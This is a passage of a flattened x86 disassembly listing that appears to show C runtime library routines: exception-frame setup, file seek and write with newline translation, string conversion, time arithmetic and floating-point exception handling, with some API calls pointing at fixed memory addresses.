dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_41CC90 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_422467 mov eax, [edi] test eax, eax jz loc_422467 add esi, 8 push esi jmp short loc_422350 ; --------------------------------------------------------------------------- loc_4223B9: ; CODE XREF: sub_4222C2+A3j cmp dword ptr [esi+18h], 0 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] jnz short loc_422401 call sub_424770 pop ecx pop ecx test eax, eax jz loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz short loc_422462 push dword ptr [esi+14h] add esi, 8 push esi push dword ptr [ebx+18h] call sub_4224ED pop ecx pop ecx push eax push edi call sub_41CC90 add esp, 0Ch jmp short loc_422467 ; --------------------------------------------------------------------------- loc_422401: ; CODE XREF: sub_4222C2+103j call sub_424770 pop ecx pop ecx test eax, eax jz short loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz short loc_422462 push dword ptr [esi+18h] call sub_4247A8 pop ecx test eax, eax jz short loc_422462 test byte ptr [esi], 4 jz short loc_422448 push 1 lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_4224ED pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41C8C9 jmp short loc_422467 ; --------------------------------------------------------------------------- loc_422448: ; CODE XREF: sub_4222C2+168j lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_4224ED pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41C8C2 jmp short loc_422467 ; --------------------------------------------------------------------------- loc_422462: ; CODE XREF: sub_4222C2+6Aj ; sub_4222C2+7Cj ... call sub_4225B2 loc_422467: ; CODE XREF: sub_4222C2+98j ; sub_4222C2+E1j ... or [ebp+var_4], 0FFFFFFFFh loc_42246B: ; CODE XREF: sub_4222C2+2Ej ; sub_4222C2+38j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4222C2 endp ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_42255C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422486 proc near ; CODE XREF: sub_421DB1+170p ; sub_422252+3Ep var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427900 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] test eax, eax jz short loc_4224CD mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_4224CD and [ebp+var_4], 0 push ecx push dword ptr [eax+18h] call sub_41C8C2 or [ebp+var_4], 0FFFFFFFFh loc_4224CD: ; CODE XREF: sub_422486+2Aj ; sub_422486+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422486 endp ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_42255C ; =============== S U B R O U T I N E ======================================= sub_4224ED proc near ; CODE XREF: sub_4222C2+8Fp ; sub_4222C2+12Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov eax, [ecx] mov edx, [ecx+4] add eax, esi test edx, edx jl short loc_42250E mov esi, [edx+esi] mov ecx, [ecx+8] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_42250E: ; CODE XREF: sub_4224ED+12j pop esi retn sub_4224ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422510 proc near ; CODE XREF: sub_41C955+40p ; sub_42205D+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_41CC41 push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_42254F mov ecx, 2 loc_42254F: ; CODE XREF: sub_422510+38j push ecx call sub_41CC41 pop ebp pop ecx pop ebx leave retn 0Ch sub_422510 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42255C proc near ; CODE XREF: sub_421DB1:loc_421F53j ; sub_4220FB:loc_42210Cj ... var_18 = dword ptr -18h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004247C0 SIZE 00000017 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427910 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, dword_4DB358 test eax, eax jz short loc_4225A4 mov [ebp+var_4], 1 call eax jmp short loc_4225A0 ; --------------------------------------------------------------------------- loc_422599: ; DATA XREF: ___:00427920o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_42259D: ; DATA XREF: ___:00427924o mov esp, [ebp+var_18] loc_4225A0: ; CODE XREF: sub_42255C+3Bj and [ebp+var_4], 0 loc_4225A4: ; CODE XREF: sub_42255C+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_4225AD: ; DATA XREF: ___:00427918o jmp loc_4247C0 sub_42255C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4225B2 proc near ; CODE XREF: sub_41CAF7+23p ; sub_41CAF7:loc_41CB62p ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427928 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, off_43C8F4 test eax, eax jz short loc_4225FA mov [ebp+var_4], 1 call eax ; sub_42255C jmp short loc_4225F6 ; --------------------------------------------------------------------------- loc_4225EF: ; DATA XREF: ___:00427938o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4225F3: ; DATA XREF: ___:0042793Co mov esp, [ebp+var_18] loc_4225F6: ; CODE XREF: sub_4225B2+3Bj and [ebp+var_4], 0 loc_4225FA: ; CODE XREF: sub_4225B2+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_422603: ; DATA XREF: ___:00427930o jmp sub_42255C sub_4225B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422608 proc near ; CODE XREF: sub_41CFD3+7p ; sub_41CFD3+26p var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4DC948 push esi cmp eax, 3 jnz short loc_422631 mov esi, [ebp+arg_0] push esi call sub_41DE77 test eax, eax pop ecx jz short loc_42262E mov eax, [esi-4] sub eax, 9 jmp short loc_422666 ; --------------------------------------------------------------------------- loc_42262E: ; CODE XREF: sub_422608+1Cj push esi jmp short loc_422658 ; --------------------------------------------------------------------------- loc_422631: ; CODE XREF: sub_422608+Ej cmp eax, 2 jnz short loc_422655 lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax push [ebp+arg_0] call sub_41EBD2 add esp, 0Ch test eax, eax jz short loc_422655 movzx eax, byte ptr [eax] shl eax, 4 jmp short loc_422666 ; --------------------------------------------------------------------------- loc_422655: ; CODE XREF: sub_422608+2Cj ; sub_422608+43j push [ebp+arg_0] loc_422658: ; CODE XREF: sub_422608+27j push 0 push dword_4DC944 nop call near ptr 2650000h loc_422666: ; CODE XREF: sub_422608+24j ; sub_422608+4Bj pop esi leave retn sub_422608 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422669 proc near ; CODE XREF: sub_41D081+C9p var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_0] sub ebx, 76Ch cmp ebx, 46h jl loc_422725 cmp ebx, 8Ah jg loc_422725 push esi push edi mov edi, [ebp+arg_4] mov esi, dword_43CDBC[edi*4] add esi, [ebp+arg_8] test bl, 3 jnz short loc_4226A8 cmp edi, 2 jle short loc_4226A8 inc esi loc_4226A8: ; CODE XREF: sub_422669+37j ; sub_422669+3Cj call sub_4247D7 mov eax, ebx lea ecx, [ebx-1] imul eax, 16Dh sar ecx, 2 mov edx, esi mov [ebp+var_8], esi add edx, ecx mov [ebp+var_10], ebx add eax, edx mov edx, [ebp+arg_14] lea ecx, [eax+eax*2] mov eax, [ebp+arg_C] mov [ebp+var_1C], eax lea ecx, [eax+ecx*8] imul ecx, 3Ch add ecx, [ebp+arg_10] imul ecx, 3Ch add ecx, dword_43CCD8 dec edi cmp [ebp+arg_18], 1 mov [ebp+var_14], edi pop edi pop esi lea ecx, [ecx+edx+7C558180h] mov [ebp+arg_0], ecx jz short loc_42271B cmp [ebp+arg_18], 0FFFFFFFFh jnz short loc_422721 cmp dword_43CCDC, 0 jz short loc_422721 lea eax, [ebp+var_24] push eax call sub_424A4A pop ecx mov ecx, [ebp+arg_0] test eax, eax jz short loc_422721 loc_42271B: ; CODE XREF: sub_422669+90j add ecx, dword_43CCE0 loc_422721: ; CODE XREF: sub_422669+96j ; sub_422669+9Fj ... mov eax, ecx jmp short loc_422728 ; --------------------------------------------------------------------------- loc_422725: ; CODE XREF: sub_422669+13j ; sub_422669+1Fj or eax, 0FFFFFFFFh loc_422728: ; CODE XREF: sub_422669+BAj pop ebx leave retn sub_422669 endp ; =============== S U B R O U T I N E ======================================= sub_42272B proc near ; CODE XREF: ___:0041D253p ; sub_41F11C+1A2p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx cmp eax, dword_4DC700 push esi push edi jnb short loc_4227AD mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DC600h[ecx*4] shl esi, 3 mov ecx, [edi] test byte ptr [ecx+esi+4], 1 jz short loc_4227AD push eax call sub_4238A2 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_42276F mov dword_4DB2A8, 9 jmp short loc_4227BE ; --------------------------------------------------------------------------- loc_42276F: ; CODE XREF: sub_42272B+36j push [esp+0Ch+arg_8] push 0 push [esp+14h+arg_4] push eax nop call near ptr 2770000h mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_42278F nop call near ptr 2670914h jmp short loc_422791 ; --------------------------------------------------------------------------- loc_42278F: ; CODE XREF: sub_42272B+5Aj xor eax, eax loc_422791: ; CODE XREF: sub_42272B+62j test eax, eax jz short loc_42279E push eax call sub_4203DF pop ecx jmp short loc_4227BE ; --------------------------------------------------------------------------- loc_42279E: ; CODE XREF: sub_42272B+68j mov eax, [edi] and byte ptr [eax+esi+4], 0FDh lea eax, [eax+esi+4] mov eax, ebx jmp short loc_4227C1 ; --------------------------------------------------------------------------- loc_4227AD: ; CODE XREF: sub_42272B+Dj ; sub_42272B+2Aj and dword_4DB2AC, 0 mov dword_4DB2A8, 9 loc_4227BE: ; CODE XREF: sub_42272B+42j ; sub_42272B+71j or eax, 0FFFFFFFFh loc_4227C1: ; CODE XREF: sub_42272B+80j pop edi pop esi pop ebx retn sub_42272B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4227C5 proc near ; CODE XREF: ___:0041D216p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+arg_0] xor ebx, ebx mov esi, [edi+10h] cmp [edi+4], ebx mov [ebp+var_C], esi jge short loc_4227E1 mov [edi+4], ebx loc_4227E1: ; CODE XREF: sub_4227C5+17j push 1 push ebx push esi call sub_42272B add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jl short loc_42284F mov edx, [edi+0Ch] test dx, 108h jnz short loc_422806 sub eax, [edi+4] jmp loc_422918 ; --------------------------------------------------------------------------- loc_422806: ; CODE XREF: sub_4227C5+37j mov eax, [edi] mov ecx, [edi+8] mov ebx, eax sub ebx, ecx test dl, 3 mov [ebp+var_8], ebx jz short loc_422840 mov edx, esi mov ebx, esi sar edx, 5 and ebx, 1Fh mov edx, dword_4DC600[edx*4] test byte ptr [edx+ebx*8+4], 80h jz short loc_422857 mov edx, ecx loc_422831: ; CODE XREF: sub_4227C5+79j cmp edx, eax jnb short loc_422857 cmp byte ptr [edx], 0Ah jnz short loc_42283D inc [ebp+var_8] loc_42283D: ; CODE XREF: sub_4227C5+73j inc edx jmp short loc_422831 ; --------------------------------------------------------------------------- loc_422840: ; CODE XREF: sub_4227C5+50j test dl, 80h jnz short loc_422857 mov dword_4DB2A8, 16h loc_42284F: ; CODE XREF: sub_4227C5+2Dj or eax, 0FFFFFFFFh jmp loc_422918 ; --------------------------------------------------------------------------- loc_422857: ; CODE XREF: sub_4227C5+68j ; sub_4227C5+6Ej ... cmp [ebp+var_4], 0 jnz short loc_422865 mov eax, [ebp+var_8] jmp loc_422918 ; --------------------------------------------------------------------------- loc_422865: ; CODE XREF: sub_4227C5+96j test byte ptr [edi+0Ch], 1 jz loc_422910 mov edx, [edi+4] test edx, edx jnz short loc_42287E and [ebp+var_8], edx jmp loc_422910 ; --------------------------------------------------------------------------- loc_42287E: ; CODE XREF: sub_4227C5+AFj sub eax, ecx add eax, edx mov [ebp+arg_0], eax mov eax, esi sar eax, 5 and esi, 1Fh lea ebx, ds:4DC600h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [esi+eax+4], 80h jz short loc_42290A push 2 push 0 push [ebp+var_C] call sub_42272B add esp, 0Ch cmp eax, [ebp+var_4] jnz short loc_4228D1 mov eax, [edi+8] mov ecx, [ebp+arg_0] add ecx, eax loc_4228BC: ; CODE XREF: sub_4227C5+104j cmp eax, ecx jnb short loc_4228CB cmp byte ptr [eax], 0Ah jnz short loc_4228C8 inc [ebp+arg_0] loc_4228C8: ; CODE XREF: sub_4227C5+FEj inc eax jmp short loc_4228BC ; --------------------------------------------------------------------------- loc_4228CB: ; CODE XREF: sub_4227C5+F9j test byte ptr [edi+0Dh], 20h jmp short loc_422905 ; --------------------------------------------------------------------------- loc_4228D1: ; CODE XREF: sub_4227C5+EDj push 0 push [ebp+var_4] push [ebp+var_C] call sub_42272B mov eax, 200h add esp, 0Ch cmp [ebp+arg_0], eax ja short loc_4228F8 mov ecx, [edi+0Ch] test cl, 8 jz short loc_4228F8 test ch, 4 jz short loc_4228FB loc_4228F8: ; CODE XREF: sub_4227C5+124j ; sub_4227C5+12Cj mov eax, [edi+18h] loc_4228FB: ; CODE XREF: sub_4227C5+131j mov [ebp+arg_0], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_422905: ; CODE XREF: sub_4227C5+10Aj jz short loc_42290A inc [ebp+arg_0] loc_42290A: ; CODE XREF: sub_4227C5+D9j ; sub_4227C5:loc_422905j mov eax, [ebp+arg_0] sub [ebp+var_4], eax loc_422910: ; CODE XREF: sub_4227C5+A4j ; sub_4227C5+B4j mov eax, [ebp+var_8] mov ecx, [ebp+var_4] add eax, ecx loc_422918: ; CODE XREF: sub_4227C5+3Cj ; sub_4227C5+8Dj ... pop edi pop esi pop ebx leave retn sub_4227C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42291D proc near ; CODE XREF: sub_41D2B4+A2p ; sub_41DB8B+2Cp ... var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h mov ecx, [ebp+arg_0] push ebx cmp ecx, dword_4DC700 push esi push edi jnb loc_422AB1 mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea ebx, ds:4DC600h[eax*4] shl esi, 3 mov eax, [ebx] mov al, [eax+esi+4] test al, 1 jz loc_422AB1 xor edi, edi cmp [ebp+arg_8], edi mov [ebp+var_8], edi mov [ebp+var_10], edi jnz short loc_42296E loc_422967: ; CODE XREF: sub_42291D+177j xor eax, eax jmp loc_422AC5 ; --------------------------------------------------------------------------- loc_42296E: ; CODE XREF: sub_42291D+48j test al, 20h jz short loc_42297E push 2 push edi push ecx call sub_42272B add esp, 0Ch loc_42297E: ; CODE XREF: sub_42291D+53j mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_422A4D mov eax, [ebp+arg_4] cmp [ebp+arg_8], edi mov [ebp+var_4], eax mov [ebp+arg_0], edi jbe loc_422A85 loc_42299E: ; CODE XREF: sub_42291D+F5j lea eax, [ebp+var_414] loc_4229A4: ; CODE XREF: sub_42291D+B9j mov ecx, [ebp+var_4] sub ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_4229D8 mov ecx, [ebp+var_4] inc [ebp+var_4] mov cl, [ecx] cmp cl, 0Ah jnz short loc_4229C3 inc [ebp+var_10] mov byte ptr [eax], 0Dh inc eax loc_4229C3: ; CODE XREF: sub_42291D+9Dj mov [eax], cl inc eax mov ecx, eax lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jl short loc_4229A4 loc_4229D8: ; CODE XREF: sub_42291D+90j mov edi, eax lea eax, [ebp+var_414] sub edi, eax lea eax, [ebp+var_C] push 0 push eax lea eax, [ebp+var_414] push edi push eax mov eax, [ebx] push dword ptr [eax+esi] call near ptr 26E0000h nop test eax, eax jz short loc_422A42 mov eax, [ebp+var_C] add [ebp+var_8], eax cmp eax, edi jl short loc_422A14 mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jb short loc_42299E loc_422A14: ; CODE XREF: sub_42291D+EAj ; sub_42291D+12Ej xor edi, edi loc_422A16: ; CODE XREF: sub_42291D+150j ; sub_42291D+15Bj mov eax, [ebp+var_8] cmp eax, edi jnz loc_422AAC cmp [ebp+arg_0], edi jz short loc_422A85 push 5 pop eax cmp [ebp+arg_0], eax jnz short loc_422A7A mov dword_4DB2A8, 9 mov dword_4DB2AC, eax jmp loc_422AC2 ; --------------------------------------------------------------------------- loc_422A42: ; CODE XREF: sub_42291D+E0j nop call near ptr 2670914h mov [ebp+arg_0], eax jmp short loc_422A14 ; --------------------------------------------------------------------------- loc_422A4D: ; CODE XREF: sub_42291D+69j lea ecx, [ebp+var_C] push edi push ecx push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] nop call near ptr 26E0000h test eax, eax jz short loc_422A6F mov eax, [ebp+var_C] mov [ebp+arg_0], edi mov [ebp+var_8], eax jmp short loc_422A16 ; --------------------------------------------------------------------------- loc_422A6F: ; CODE XREF: sub_42291D+145j nop call near ptr 2670914h mov [ebp+arg_0], eax jmp short loc_422A16 ; --------------------------------------------------------------------------- loc_422A7A: ; CODE XREF: sub_42291D+10Fj push [ebp+arg_0] call sub_4203DF pop ecx jmp short loc_422AC2 ; --------------------------------------------------------------------------- loc_422A85: ; CODE XREF: sub_42291D+7Bj ; sub_42291D+107j mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_422A9A mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jz loc_422967 loc_422A9A: ; CODE XREF: sub_42291D+16Fj mov dword_4DB2A8, 1Ch mov dword_4DB2AC, edi jmp short loc_422AC2 ; --------------------------------------------------------------------------- loc_422AAC: ; CODE XREF: sub_42291D+FEj sub eax, [ebp+var_10] jmp short loc_422AC5 ; --------------------------------------------------------------------------- loc_422AB1: ; CODE XREF: sub_42291D+15j ; sub_42291D+37j and dword_4DB2AC, 0 mov dword_4DB2A8, 9 loc_422AC2: ; CODE XREF: sub_42291D+120j ; sub_42291D+166j ... or eax, 0FFFFFFFFh loc_422AC5: ; CODE XREF: sub_42291D+4Cj ; sub_42291D+192j pop edi pop esi pop ebx leave retn sub_42291D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422ACA proc near ; CODE XREF: sub_41D5AA+47p ; sub_41D5AA+74p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427948 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor edi, edi cmp dword_4DB37C, edi jnz short loc_422B40 push edi push edi push 1 pop ebx push ebx push offset dword_427940 mov esi, 100h push esi push edi call near ptr 2630000h nop test eax, eax jz short loc_422B1E mov dword_4DB37C, ebx jmp short loc_422B40 ; --------------------------------------------------------------------------- loc_422B1E: ; CODE XREF: sub_422ACA+4Aj push edi push edi push ebx push offset dword_4CAE5C push esi push edi nop call near ptr 2640000h test eax, eax jz loc_422C58 mov dword_4DB37C, 2 loc_422B40: ; CODE XREF: sub_422ACA+2Ej ; sub_422ACA+52j cmp [ebp+arg_C], edi jle short loc_422B55 push [ebp+arg_C] push [ebp+arg_8] call sub_426180 pop ecx pop ecx mov [ebp+arg_C], eax loc_422B55: ; CODE XREF: sub_422ACA+79j mov eax, dword_4DB37C cmp eax, 2 jnz short loc_422B7C push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2640000h jmp loc_422C5A ; --------------------------------------------------------------------------- loc_422B7C: ; CODE XREF: sub_422ACA+93j cmp eax, 1 jnz loc_422C58 cmp [ebp+arg_18], edi jnz short loc_422B92 mov eax, dword_4DB374 mov [ebp+arg_18], eax loc_422B92: ; CODE XREF: sub_422ACA+BEj push edi push edi push [ebp+arg_C] push [ebp+arg_8] mov eax, [ebp+arg_1C] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_18] call near ptr 2830000h nop mov ebx, eax mov [ebp+var_1C], ebx cmp ebx, edi jz loc_422C58 mov [ebp+var_4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_422BED ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_24], edi or [ebp+var_4], 0FFFFFFFFh mov ebx, [ebp+var_1C] loc_422BED: ; CODE XREF: sub_422ACA+10Ej cmp [ebp+var_24], edi jz short loc_422C58 push ebx push [ebp+var_24] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] call near ptr 2830000h nop test eax, eax jz short loc_422C58 push edi push edi push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2630000h nop mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz short loc_422C58 test byte ptr [ebp+arg_4+1], 4 jz short loc_422C6C cmp [ebp+arg_14], edi jz loc_422CE7 cmp esi, [ebp+arg_14] jg short loc_422C58 push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2630000h nop test eax, eax jnz loc_422CE7 loc_422C58: ; CODE XREF: sub_422ACA+66j ; sub_422ACA+B5j ... xor eax, eax loc_422C5A: ; CODE XREF: sub_422ACA+ADj ; sub_422ACA+21Fj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_422C6C: ; CODE XREF: sub_422ACA+160j mov [ebp+var_4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_422CA0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_422CA0: ; CODE XREF: sub_422ACA+1C2j cmp ebx, edi jz short loc_422C58 push esi push ebx push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2630000h nop test eax, eax jz short loc_422C58 cmp [ebp+arg_14], edi push edi push edi jnz short loc_422CC7 push edi push edi jmp short loc_422CCD ; --------------------------------------------------------------------------- loc_422CC7: ; CODE XREF: sub_422ACA+1F7j push [ebp+arg_14] push [ebp+arg_10] loc_422CCD: ; CODE XREF: sub_422ACA+1FBj push esi push ebx push 220h push [ebp+arg_18] call near ptr 2820000h nop mov esi, eax cmp esi, edi jz loc_422C58 loc_422CE7: ; CODE XREF: sub_422ACA+165j ; sub_422ACA+188j mov eax, esi jmp loc_422C5A sub_422ACA endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push dword ptr [ebp+8] call sub_422E2F test eax, eax pop ecx jz loc_422E23 mov ebx, [eax+8] test ebx, ebx jz loc_422E23 cmp ebx, 5 jnz short loc_422D1F and dword ptr [eax+8], 0 push 1 pop eax jmp loc_422E2C ; --------------------------------------------------------------------------- loc_422D1F: ; CODE XREF: ___:00422D11j cmp ebx, 1 jz loc_422E1E mov ecx, dword_4DB380 mov [ebp+8], ecx mov ecx, [ebp+0Ch] mov dword_4DB380, ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_422E0E mov ecx, dword_43C970 mov edx, dword_43C974 add edx, ecx push esi cmp ecx, edx jge short loc_422D6E lea esi, [ecx+ecx*2] sub edx, ecx lea esi, ds:43C900h[esi*4] loc_422D65: ; CODE XREF: ___:00422D6Cj and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_422D65 loc_422D6E: ; CODE XREF: ___:00422D57j mov eax, [eax] mov esi, dword_43C97C cmp eax, 0C000008Eh jnz short loc_422D89 mov dword_43C97C, 83h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422D89: ; CODE XREF: ___:00422D7Bj cmp eax, 0C0000090h jnz short loc_422D9C mov dword_43C97C, 81h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422D9C: ; CODE XREF: ___:00422D8Ej cmp eax, 0C0000091h jnz short loc_422DAF mov dword_43C97C, 84h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DAF: ; CODE XREF: ___:00422DA1j cmp eax, 0C0000093h jnz short loc_422DC2 mov dword_43C97C, 85h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DC2: ; CODE XREF: ___:00422DB4j cmp eax, 0C000008Dh jnz short loc_422DD5 mov dword_43C97C, 82h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DD5: ; CODE XREF: ___:00422DC7j cmp eax, 0C000008Fh jnz short loc_422DE8 mov dword_43C97C, 86h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DE8: ; CODE XREF: ___:00422DDAj cmp eax, 0C0000092h jnz short loc_422DF9 mov dword_43C97C, 8Ah loc_422DF9: ; CODE XREF: ___:00422D87j ; ___:00422D9Aj ... push dword_43C97C push 8 call ebx pop ecx mov dword_43C97C, esi pop ecx pop esi jmp short loc_422E16 ; --------------------------------------------------------------------------- loc_422E0E: ; CODE XREF: ___:00422D40j and dword ptr [eax+8], 0 push ecx call ebx pop ecx loc_422E16: ; CODE XREF: ___:00422E0Cj mov eax, [ebp+8] mov dword_4DB380, eax loc_422E1E: ; CODE XREF: ___:00422D22j or eax, 0FFFFFFFFh jmp short loc_422E2C ; --------------------------------------------------------------------------- loc_422E23: ; CODE XREF: ___:00422CFDj ; ___:00422D08j push dword ptr [ebp+0Ch] call near ptr 2620000h nop loc_422E2C: ; CODE XREF: ___:00422D1Aj ; ___:00422E21j pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_422E2F proc near ; CODE XREF: ___:00422CF5p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43C978 cmp dword_43C8F8, edx push esi mov eax, offset dword_43C8F8 jz short loc_422E5C lea esi, [ecx+ecx*2] lea esi, ds:43C8F8h[esi*4] loc_422E51: ; CODE XREF: sub_422E2F+2Bj add eax, 0Ch cmp eax, esi jnb short loc_422E5C cmp [eax], edx jnz short loc_422E51 loc_422E5C: ; CODE XREF: sub_422E2F+16j ; sub_422E2F+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43C8F8h[ecx*4] cmp eax, ecx jnb short loc_422E6F cmp [eax], edx jz short locret_422E71 loc_422E6F: ; CODE XREF: sub_422E2F+3Aj xor eax, eax locret_422E71: ; CODE XREF: sub_422E2F+3Ej retn sub_422E2F endp ; --------------------------------------------------------------------------- cmp dword_4DC954, 0 jnz short loc_422E80 call sub_42026D loc_422E80: ; CODE XREF: ___:00422E79j push esi mov esi, dword_4DC94C mov al, [esi] cmp al, 22h jnz short loc_422EB2 loc_422E8D: ; CODE 